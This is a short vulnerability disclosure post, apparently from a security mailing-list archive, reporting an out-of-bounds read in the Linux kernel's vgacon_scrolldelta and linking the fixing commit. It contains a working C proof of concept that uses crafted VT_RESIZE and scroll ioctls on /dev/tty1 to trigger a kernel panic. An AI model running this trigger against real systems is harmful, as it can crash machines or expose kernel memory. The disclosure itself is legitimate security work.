Linux Kernel: out-of-bounds reading in vgacon_scrolldelta

From: NopNop Nop <nopitydays () gmail com>
Date: Wed, 16 Sep 2020 16:19:46 +0800

```
Hi,

We found a out-of-bounds reading in vgacon_scrolldelta. This BUG is caused
by "soff" being negative after VT_RESIZE.

Our PoC (panic with CONFIG_KASAN=y):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>

int main(int argc, char** argv)
{
        int fd = open("/dev/tty1", O_RDWR, 0);

        unsigned short size[3] = {4, 0x254, 0};
        ioctl(fd, 0x5609, size);

        for (int i = 0; i < 110; i++) {
                write(fd, "\x0a", 1);
        }
        signed int args[3] = {13, -0x400, 0};
        ioctl(fd, 0x541c, args);
}

Here is the commit to patch this BUG:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=973c096f6a85e5b5f2a295126ba6928d9a6afd45

Regards,
Nop
```

By Date By Thread

Current thread:

- **Linux Kernel: out-of-bounds reading in vgacon_scrolldelta** *NopNop Nop (Sep 16)*

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License